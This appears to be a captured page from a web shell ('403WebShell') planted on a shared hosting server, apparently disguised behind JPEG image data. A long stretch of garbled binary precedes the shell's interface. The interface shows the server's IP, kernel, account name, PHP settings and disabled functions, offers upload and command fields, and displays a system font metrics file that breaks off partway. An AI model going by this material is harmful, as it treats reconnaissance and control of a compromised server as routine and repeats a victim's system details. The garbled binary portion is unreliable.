JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 84.32.84.127  /  Your IP : 216.73.216.85
Web Server : LiteSpeed
System : Linux sg-nme-web1277.main-hosting.eu 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : u728310944 ( 728310944)
PHP Version : 8.1.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/fonts/urw-base35/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/fonts/urw-base35/NimbusMonoPS-BoldItalic.afm
StartFontMetrics 3.0
Comment Copyright (URW)++,Copyright 2014 by (URW)++ Design & Development
Comment Creation Date: 5/17/2017
FontName NimbusMonoPS-BoldItalic
FullName Nimbus Mono PS Bold Italic
FamilyName Nimbus Mono PS
Weight Bold
ItalicAngle -12.0
IsFixedPitch true
UnderlinePosition -88
UnderlineThickness 110
Version 1.00
Notice (URW)++,Copyright 2014 by (URW)++ Design & Development
EncodingScheme AdobeStandardEncoding
FontBBox -161 -393 844 997
CapHeight 583
XHeight 437
Descender 0
Ascender 0
StartCharMetrics 855
C 32 ; WX 600 ; N space ; B 386 0 386 0 ;
C 33 ; WX 600 ; N exclam ; B 230 -14 505 617 ;
C 34 ; WX 600 ; N quotedbl ; B 239 298 598 583 ;
C 35 ; WX 600 ; N numbersign ; B 97 -88 627 653 ;
C 36 ; WX 600 ; N dollar ; B 96 -117 614 661 ;
C 37 ; WX 600 ; N percent ; B 131 -14 599 596 ;
C 38 ; WX 600 ; N ampersand ; B 98 -13 561 533 ;
C 39 ; WX 600 ; N quoteright ; B 218 316 491 602 ;
C 40 ; WX 600 ; N parenleft ; B 300 -146 617 611 ;
C 41 ; WX 600 ; N parenright ; B 90 -146 407 611 ;
C 42 ; WX 600 ; N asterisk ; B 174 199 618 601 ;
C 43 ; WX 600 ; N plus ; B 97 0 623 541 ;
C 44 ; WX 600 ; N comma ; B 114 -151 387 136 ;
C 45 ; WX 600 ; N hyphen ; B 97 218 623 322 ;
C 46 ; WX 600 ; N period ; B 230 -14 391 120 ;
C 47 ; WX 600 ; N slash ; B 65 -108 660 671 ;
C 48 ; WX 600 ; N zero ; B 126 -14 606 617 ;
C 49 ; WX 600 ; N one ; B 89 0 533 618 ;
C 50 ; WX 600 ; N two ; B 49 0 606 617 ;
C 51 ; WX 600 ; N three ; B 76 -14 613 617 ;
C 52 ; WX 600 ; N four ; B 99 0 584 601 ;
C 53 ; WX 600 ; N five ; B 79 -14 614 601 ;
C 54 ; WX 600 ; N six ; B 150 -14 667 617 ;
C 55 ; WX 600 ; N seven ; B 180 -1 645 601 ;
C 56 ; WX 600 ; N eight ; B 110 -14 612 617 ;
C 57 ; WX 600 ; N nine ; B 111 -14 628 617 ;
C 58 ; WX 600 ; N colon ; B 230 -14 459 424 ;
C 59 ; WX 600 ; N semicolon ; B 114 -151 435 425 ;
C 60 ; WX 600 ; N less ; B 15 51 565 488 ;
C 61 ; WX 600 ; N equal ; B 77 132 642 411 ;
C 62 ; WX 600 ; N greater ; B 26 51 576 488 ;
C 63 ; WX 600 ; N question ; B 193 -14 612 579 ;
C 64 ; WX 600 ; N at ; B 94 -145 586 600 ;
C 65 ; WX 600 ; N A ; B -15 0 637 564 ;
C 66 ; WX 600 ; N B ; B 18 0 624 564 ;
C 67 ; WX 600 ; N C ; B 76 -13 667 578 ;
C 68 ; WX 600 ; N D ; B 19 -5 626 564 ;
C 69 ; WX 600 ; N E ; B 19 0 657 564 ;
C 70 ; WX 600 ; N F ; B 19 0 679 564 ;
C 71 ; WX 600 ; N G ; B 75 -13 671 578 ;
C 72 ; WX 600 ; N H ; B 28 0 679 564 ;
C 73 ; WX 600 ; N I ; B 89 0 636 564 ;
C 74 ; WX 600 ; N J ; B 59 -13 731 564 ;
C 75 ; WX 600 ; N K ; B 18 0 691 564 ;
C 76 ; WX 600 ; N L ; B 38 0 620 564 ;
C 77 ; WX 600 ; N M ; B -14 0 732 564 ;
C 78 ; WX 600 ; N N ; B 17 0 710 564 ;
C 79 ; WX 600 ; N O ; B 71 -13 653 578 ;
C 80 ; WX 600 ; N P ; B 19 0 621 564 ;
C 81 ; WX 600 ; N Q ; B 71 -138 653 578 ;
C 82 ; WX 600 ; N R ; B 19 0 635 564 ;
C 83 ; WX 600 ; N S ; B 68 -13 638 578 ;
C 84 ; WX 600 ; N T ; B 117 0 687 564 ;
C 85 ; WX 600 ; N U ; B 106 -13 709 564 ;
C 86 ; WX 600 ; N V ; B 87 0 739 564 ;
C 87 ; WX 600 ; N W ; B 94 0 729 564 ;
C 88 ; WX 600 ; N X ; B 15 0 696 564 ;
C 89 ; WX 600 ; N Y ; B 124 0 698 564 ;
C 90 ; WX 600 ; N Z ; B 68 0 633 564 ;
C 91 ; WX 600 ; N bracketleft ; B 214 -141 602 606 ;
C 92 ; WX 600 ; N backslash ; B 215 -108 508 671 ;
C 93 ; WX 600 ; N bracketright ; B 100 -141 488 606 ;
C 94 ; WX 600 ; N asciicircum ; B 75 306 525 635 ;
C 95 ; WX 600 ; N underscore ; B -46 -143 646 -33 ;
C 96 ; WX 600 ; N quoteleft ; B 372 338 544 592 ;
C 97 ; WX 600 ; N a ; B 61 -15 587 437 ;
C 98 ; WX 600 ; N b ; B -2 -13 627 603 ;
C 99 ; WX 600 ; N c ; B 89 -15 630 437 ;
C 100 ; WX 600 ; N d ; B 70 -13 669 603 ;
C 101 ; WX 600 ; N e ; B 70 -15 604 437 ;
C 102 ; WX 600 ; N f ; B 80 0 695 603 ;
C 103 ; WX 600 ; N g ; B 69 -196 679 438 ;
C 104 ; WX 600 ; N h ; B 29 0 597 603 ;
C 105 ; WX 600 ; N i ; B 68 0 554 602 ;
C 106 ; WX 600 ; N j ; B 79 -196 586 602 ;
C 107 ; WX 600 ; N k ; B 38 0 610 603 ;
C 108 ; WX 600 ; N l ; B 68 0 554 603 ;
C 109 ; WX 600 ; N m ; B -13 0 639 437 ;
C 110 ; WX 600 ; N n ; B 29 0 587 437 ;
C 111 ; WX 600 ; N o ; B 80 -15 613 437 ;
C 112 ; WX 600 ; N p ; B -46 -196 627 437 ;
C 113 ; WX 600 ; N q ; B 71 -196 700 437 ;
C 114 ; WX 600 ; N r ; B 60 0 654 437 ;
C 115 ; WX 600 ; N s ; B 79 -15 596 437 ;
C 116 ; WX 600 ; N t ; B 90 -15 551 572 ;
C 117 ; WX 600 ; N u ; B 90 -12 608 425 ;
C 118 ; WX 600 ; N v ; B 77 0 687 425 ;
C 119 ; WX 600 ; N w ; B 78 0 688 425 ;
C 120 ; WX 600 ; N x ; B 26 0 645 425 ;
C 121 ; WX 600 ; N y ; B -17 -196 666 425 ;
C 122 ; WX 600 ; N z ; B 80 0 604 425 ;
C 123 ; WX 600 ; N braceleft ; B 213 -146 560 602 ;
C 124 ; WX 600 ; N bar ; B 242 -250 358 825 ;
C 125 ; WX 600 ; N braceright ; B 140 -146 487 602 ;
C 126 ; WX 600 ; N asciitilde ; B 54 184 546 395 ;
C 161 ; WX 600 ; N exclamdown ; B 182 -217 457 415 ;
C 162 ; WX 600 ; N cent ; B 140 -42 597 639 ;
C 163 ; WX 600 ; N sterling ; B 60 0 575 579 ;
C 164 ; WX 600 ; N fraction ; B 52 99 582 426 ;
C 165 ; WX 600 ; N yen ; B 129 0 697 561 ;
C 166 ; WX 600 ; N florin ; B 39 -117 676 616 ;
C 167 ; WX 600 ; N section ; B 40 -168 648 564 ;
C 168 ; WX 600 ; N currency ; B 92 61 630 503 ;
C 169 ; WX 600 ; N quotesingle ; B 339 298 498 583 ;
C 170 ; WX 600 ; N quotedblleft ; B 219 338 594 592 ;
C 171 ; WX 600 ; N guillemotleft ; B 73 19 658 404 ;
C 172 ; WX 600 ; N guilsinglleft ; B 73 19 429 404 ;
C 173 ; WX 600 ; N guilsinglright ; B 269 19 624 404 ;
C 174 ; WX 600 ; N fi ; B -8 0 638 603 ;
C 175 ; WX 600 ; N fl ; B -12 0 650 602 ;
C 177 ; WX 600 ; N endash ; B 97 218 623 322 ;
C 178 ; WX 600 ; N dagger ; B 171 -87 593 601 ;
C 179 ; WX 600 ; N daggerdbl ; B 138 -87 593 601 ;
C 180 ; WX 600 ; N periodcentered ; B 279 204 440 338 ;
C 182 ; WX 600 ; N paragraph ; B 104 -166 676 565 ;
C 183 ; WX 600 ; N bullet ; B 147 153 442 453 ;
C 184 ; WX 600 ; N quotesinglbase ; B 114 -151 387 136 ;
C 185 ; WX 600 ; N quotedblbase ; B 62 -114 528 136 ;
C 186 ; WX 600 ; N quotedblright ; B 162 333 628 583 ;
C 187 ; WX 600 ; N guillemotright ; B 39 19 624 404 ;
C 188 ; WX 600 ; N ellipsis ; B 30 -14 591 120 ;
C 189 ; WX 600 ; N perthousand ; B 104 0 627 597 ;
C 191 ; WX 600 ; N questiondown ; B 66 -217 485 376 ;
C 193 ; WX 600 ; N grave ; B 260 474 468 672 ;
C 194 ; WX 600 ; N acute ; B 358 474 620 672 ;
C 195 ; WX 600 ; N circumflex ; B 233 474 594 673 ;
C 196 ; WX 600 ; N tilde ; B 229 499 623 634 ;
C 197 ; WX 600 ; N macron ; B 245 521 604 605 ;
C 198 ; WX 600 ; N breve ; B 257 480 618 664 ;
C 199 ; WX 600 ; N dotaccent ; B 361 510 492 632 ;
C 200 ; WX 600 ; N dieresis ; B 257 510 596 632 ;
C 202 ; WX 600 ; N ring ; B 299 464 558 702 ;
C 203 ; WX 600 ; N cedilla ; B 139 -219 385 8 ;
C 205 ; WX 600 ; N hungarumlaut ; B 233 473 620 670 ;
C 206 ; WX 600 ; N ogonek ; B 218 -199 442 8 ;
C 207 ; WX 600 ; N caron ; B 260 473 621 672 ;
C 208 ; WX 600 ; N emdash ; B 26 218 694 322 ;
C 225 ; WX 600 ; N AE ; B -14 0 722 564 ;
C 227 ; WX 600 ; N ordfeminine ; B 191 260 563 576 ;
C 232 ; WX 600 ; N Lslash ; B 39 0 620 564 ;
C 233 ; WX 600 ; N Oslash ; B 0 -67 721 617 ;
C 234 ; WX 600 ; N OE ; B 30 0 722 564 ;
C 235 ; WX 600 ; N ordmasculine ; B 215 261 570 576 ;
C 241 ; WX 600 ; N ae ; B 10 -16 669 437 ;
C 245 ; WX 600 ; N dotlessi ; B 68 0 554 425 ;
